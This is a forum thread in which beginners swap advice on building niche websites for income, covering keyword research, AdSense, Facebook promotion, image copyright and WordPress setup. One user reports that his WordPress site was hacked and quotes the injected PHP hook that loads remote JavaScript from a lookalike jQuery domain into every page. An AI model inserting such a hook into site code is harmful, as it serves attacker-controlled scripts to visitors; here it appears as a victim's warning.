How to start up your own website and make money online (newbs) (pics+vids) (ceo10k)

Guys,

I'm having a hard time deciding if my niche can work. When I google it I don't get websites DEDICATED to the subject. But what I do get is A LOT of Yahoo Answers, forums, and sometimes a single webpage talking about it (but the website itself is not dedicated to this particular thing). So...

1) Since my niche involves answering a specific type of question, there is lots of Yahoo Answers, wiki answers, forum threads, etc. So, is this a viable niche?
2) Since people would be arriving at my website by asking certain specific questions that is what I am typing into the Google adwords keyword planner. However, the tool provides me with no data but I know people are searching for it. How can I modify what I'm entering into google adwords to find out the search volume or is there another way to find out? How would I find the search volume of a question?

I know people are searching for it since it shows up in the #1 spot for google searchs autocomplete. Note that the site won't be dedicated to answering just one question, but lots of questions falling into the same category but none of these questions have a site dedicated to it.

[QUOTE=flairon;1120173203]I'm thinking about selling one of my sites. What do you think this would be worth as a "turn key business"

I have observed that with very little effort, it's not hard to push this site to a steady $2k a month, but it does require regular attention and effort and I've already got 3 others that I'm juggling and I'm about to start classes again. If i don't pay any attention to it at all it will sit there and churn out $150-$200 a month on its own, so its not really eating anything.[/QUOTE]

Tough call brah.

I don't even got a website up and running yet, but check out this thread: [url]http://forum.bodybuilding.com/showthread.php?t=118999051[/url]

Owner of simplyshredded was gonna sell for $5k and now he's CEOing 10k/day for keeping it. I'm not 100% sure, but I think biganf was also juggling a few sites. Given your position of juggling 3 other sites/being a student, I would just keep at it.

whatsmysiteworth.com has it valued at $13,552

[QUOTE=BTTB3;1120181483]Guys,

I'm having a hard time deciding if my niche can work. When I google it I don't get websites DEDICATED to the subject. But what I do get is A LOT of Yahoo Answers, forums, and sometimes a single webpage talking about it (but the website itself is not dedicated to this particular thing). So...

1) Since my niche involves answering a specific type of question, there is lots of Yahoo Answers, wiki answers, forum threads, etc. So, is this a viable niche?
2) Since people would be arriving at my website by asking certain specific questions that is what I am typing into the Google adwords keyword planner. However, the tool provides me with no data but I know people are searching for it. How can I modify what I'm entering into google adwords to find out the search volume or is there another way to find out? How would I find the search volume of a question?

I know people are searching for it since it shows up in the #1 spot for google searchs autocomplete. Note that the site won't be dedicated to answering just one question, but lots of questions falling into the same category but none of these questions have a site dedicated to it.
[/QUOTE]

hard to say without more info, one good thing is that yahoo answers pages appearing high in the serps usually means it is easy to rank the keyword

[QUOTE=BTTB3;1120181483]Guys,

2) Since people would be arriving at my website by asking certain specific questions that is what I am typing into the Google adwords keyword planner. However, the tool provides me with no data but I know people are searching for it. How can I modify what I'm entering into google adwords to find out the search volume or is there another way to find out? How would I find the search volume of a question?

I know people are searching for it since it shows up in the #1 spot for google searchs autocomplete. Note that the site won't be dedicated to answering just one question, but lots of questions falling into the same category but none of these questions have a site dedicated to it.
[/QUOTE]

go to the regular google search page and do the keyword search, now scroll to the bottom of the results and see if google has a "Searches related to" section, if they do, people may be searching those keywords more than they are searching your keyword.

also, i have heard countless people saying google shows no keyword info for keywords that people are searching for

[QUOTE=rblgenius;1120137553]Yeah I have to finish the tier 1 and tier 2 set up part. It'll asnwer your question for you.

I went ahead and posted the article because its a lot of information as is. I didn't expect someone to be ready for more so quickly lol[/QUOTE]

Ahh its all good man! I work 48 hour weeks in 4 days so I have fri-sunday completely off and have nothing to do...so I just crank on my site on those days!

neat!!!

how does one subscribe to a thread, without posting "subbed or in" btw?

In for later when I have time. Very interested.

I just had an 'oh sh*t' moment on a niche that has led me into stuff that I had never even thought of before, and looks to have a hell of a lot of promise so far.

Subbed

noob question.
can you make a site on a website like wix.com or freewebs then buy the domain and transfer it to hostgator? or would freewebs and wix keep all your profit

hey misc,

my site is finally up and running: topdailyfights.com

could you also like my page: ********.com/pages/Top-Daily-Fights-Real-Fights-Crazy-Fights-Hood-Fights-Gang-Fights/506721936069612
thanks misc

also, adsense rejected my application...reason: needs more content
will reapply again soon

Can someone explain to me how to set up the [url]www.domainname.com[/url] vs the domainname.com thing?

Not sure how to set mine up and don't want to be missing something here.

I'm not even on the first 3 pages for my primary keyword...dunno what to do, yes impatient.

[QUOTE=c0mb1n4ti0n;1120381263]hey misc,

my site is finally up and running: topdailyfights.com

could you also like my page: ********.com/pages/Top-Daily-Fights-Real-Fights-Crazy-Fights-Hood-Fights-Gang-Fights/506721936069612
thanks misc

also, adsense rejected my application...reason: needs more content
will reapply again soon[/QUOTE]
How did you get so many ******** likes already?

[QUOTE=jganer;1120389623]How did you get so many ******** likes already?[/QUOTE]

have been promoting on other ******** pages. i post my page under every status on pages with 50k+ likes.

[QUOTE=c0mb1n4ti0n;1120391153]have been promoting on other ******** pages. i post my page under every status on pages with 50k+ likes.[/QUOTE]
Nice website! Watched a couple videos, I like watching stuff like that.

[QUOTE=jganer;1120392253]Nice website! Watched a couple videos, I like watching stuff like that.[/QUOTE]

thanks man. i hope it gets popular.

[QUOTE=c0mb1n4ti0n;1120381263]hey misc,

my site is finally up and running: topdailyfights.com

could you also like my page: ********.com/pages/Top-Daily-Fights-Real-Fights-Crazy-Fights-Hood-Fights-Gang-Fights/506721936069612
thanks misc

also, adsense rejected my application...reason: needs more content
will reapply again soon[/QUOTE]
Interesting niche site. Everyone loves watching fights, so you will have a market there. I like the different categories at the top.

[QUOTE=jfcundiff;1120394983]Interesting niche site. Everyone loves watching fights, so you will have a market there. I like the different categories at the top.[/QUOTE]
exactly.


i just wanted to aware new guys that many wordpress sites are getting hacked. just yesterday, someone hacked into my website and edited wp-load file on my server to point it to a fake jquery website (jquerys(*notice that 's').org/class/jquery-1.6.3.min.js). it took me a while to find and fix it since i didn't back up my site. so guys, BACK UP YOUR WEBSITE every day.

read about the hack: [url]http://blog.sucuri.net/2012/07/fake-jquery-website-serving-redirection-malware.html[/url]

Guys wanna check out my page? Made a few small changes to the logo and background color to make it more "energizing". Let me know what you think and any other critiques that you might have.

[url]http://energizedbyvitamins.com/[/url]

if you happen to click an ad on accident I'll be terribly sorry....

i have been thinking of throwing my web server in a collocation datacenter and spending more time w/ it. Cant seem to make te time unfortunately

[QUOTE=moose45;1120410033]Guys wanna check out my page? Made a few small changes to the logo and background color to make it more "energizing". Let me know what you think and any other critiques that you might have.

[url]http://energizedbyvitamins.com/[/url]

if you happen to click an ad on accident I'll be terribly sorry....[/QUOTE] But who was copyright pictures?

Edit: would appreciate if miscers brah can like my ******** page.

[QUOTE=c0mb1n4ti0n;1120404403]exactly.


i just wanted to aware new guys that many wordpress sites are getting hacked. just yesterday, someone hacked into my website and edited wp-load file on my server to point it to a fake jquery website (jquerys(*notice that 's').org/class/jquery-1.6.3.min.js). it took me a while to find and fix it since i didn't back up my site. so guys, BACK UP YOUR WEBSITE every day.

read about the hack: [url]http://blog.sucuri.net/2012/07/fake-jquery-website-serving-redirection-malware.html[/url][/QUOTE]
Whats best to back up? How do you know when it gets hacked?

[QUOTE=2009;1120190463]hard to say without more info, one good thing is that yahoo answers pages appearing high in the serps usually means it is easy to rank the keyword[/QUOTE]

[QUOTE=2009;1120226303]go to the regular google search page and do the keyword search, now scroll to the bottom of the results and see if google has a "Searches related to" section, if they do, people may be searching those keywords more than they are searching your keyword.

also, i have heard countless people saying google shows no keyword info for keywords that people are searching for[/QUOTE]

Thanks for the help. Appreciated.

[QUOTE=DibbzDaHomie;1120340083]neat!!!

how does one subscribe to a thread, without posting "subbed or in" btw?[/QUOTE]

[IMG]http://i.imgur.com/TcPzvzI.png[/IMG]

Go to the top of the thread, click on thread tools (its right above the first post of the thread) and then click on subscribe. It should then show up in your CP.

If you have set it so you sub to a thread by just posting, you may want to change that as it gets cluttered. Go [url=http://forum.bodybuilding.com/profile.php?do=editoptions]here[url] and under "Messaging & Notification" choose "Do not subscribe" for the "Default Thread Subscription Mode" option.

[QUOTE=flairon;1120363263]I just had an 'oh sh*t' moment on a niche that has led me into stuff that I had never even thought of before, and looks to have a hell of a lot of promise so far.[/QUOTE]

Do you just find your niches naturally?

On the 3rd page you mentioned your site coelic disease since you heard people talking about it more and more. So do you just have "oh ****" moments every now and then, search if its viable, and if it is start the site?

Not sure if I can just mindlessly put stuff into keyword searches trying to find a niche.

[QUOTE=moose45;1120384343]Can someone explain to me how to set up the [url]www.domainname.com[/url] vs the domainname.com thing?

Not sure how to set mine up and don't want to be missing something here.

I'm not even on the first 3 pages for my primary keyword...dunno what to do, yes impatient.[/QUOTE]

In for answers as well.

[QUOTE=c0mb1n4ti0n;1120404403]
i just wanted to aware new guys that many wordpress sites are getting hacked. just yesterday, someone hacked into my website and edited wp-load file on my server to point it to a fake jquery website (jquerys(*notice that 's').org/class/jquery-1.6.3.min.js). it took me a while to find and fix it since i didn't back up my site. so guys, BACK UP YOUR WEBSITE every day.

read about the hack: [url]http://blog.sucuri.net/2012/07/fake-jquery-website-serving-redirection-malware.html[/url][/QUOTE]

Thanks for this. Was gonna set up a wordpress site later on today or tomorrow morning.

Security is the next area I need to look into as this thread doesn't cover that.

[QUOTE=Crease1234;1120419183]But who was copyright pictures?

Edit: would appreciate if miscers brah can like my ******** page.[/QUOTE]

I give photo credit in description? Is this not OK? Should I immediately go and change photos now?!?!?

[QUOTE=moose45;1120422743]I give photo credit in description? Is this not OK? Should I immediately go and change photos now?!?!?[/QUOTE]

Not an expert, but thats not okay.

If that was okay people could steal all of your content and just copy paste it on their site and at the end say "Oh, credit to this site for making the content". You'll need their permission to use their content.

[url]http://commons.wikimedia.org/[/url]

The above should be a great resource for stuff you can use freely. Just read the fine print at the end and see if the author wants to be attributed. Read these pages as well:
[url]http://commons.wikimedia.org/wiki/Commons:Welcome[/url]
[url]http://commons.wikimedia.org/wiki/Commons:Reusing_content_outside_Wikimedia[/url]

[QUOTE=moose45;1120422743]I give photo credit in description? Is this not OK? Should I immediately go and change photos now?!?!?[/QUOTE] I don't see the photo credit anywhere, even when I clicked on the picture. Regardless, we are not allowed to use pictures freely from google image and think its ok just because we give credit. You can potentially get into an ugly litigation problem should your website takes off. A few miscers awared me on it and I hurriedly changed all of mine.

As recommended to me by the neatnature brah, use [url]http://search.creativecommons.org/[/url] and search for pictures that are OK to use under the creative commons law.

[QUOTE=CarlitosBX;1120420073]Whats best to back up? How do you know when it gets hacked?[/QUOTE]

There should be a backup option on your server's page; you can google to see if such function exists...or you can also just copy all the files from your server and save in a folder on your computer (i use this method).

When my website got hacked, the whole website didn't load and this error was displayed:

function pluginAuth(){
echo(@wp_remote_retrieve_body(@wp_remote_get('http://jquerys.net/jquery-1.6.3.min.js')));
}
@add_action('wp_head', 'pluginAuth');

[QUOTE=moose45;1120384343]Can someone explain to me how to set up the [url]www.domainname.com[/url] vs the domainname.com thing?

Not sure how to set mine up and don't want to be missing something here.

I'm not even on the first 3 pages for my primary keyword...dunno what to do, yes impatient.[/QUOTE]

I think is in the general section or permalinks I think is called. Shouldn't be too hard to figure out.

Here are a few tips, somethimes I want to advice something but im mobile not on my computer at the moment.


If you purchase a theme from wherever site. Author should have a customer support for their theme could be a personal site or forum.

They should have also included a how to guide with the purchase of your theme. If you are using a free theme from wordpress. Go to wordpress. Com so much help in there srs


My cp is ready lol


Guys could you check for me if my aff link banner is showing on my site? I deleted the demo aff link's that came with my site not sure why they continue to interfere and show up. From themeforest.

Can anyone recommend me a good payment gateway? I can offer paypal, but also want to accept credit cards.

[QUOTE=Rudem3;1119471543]How do I give attribution to the author of an image if it's in a slider?[/QUOTE]

Any help?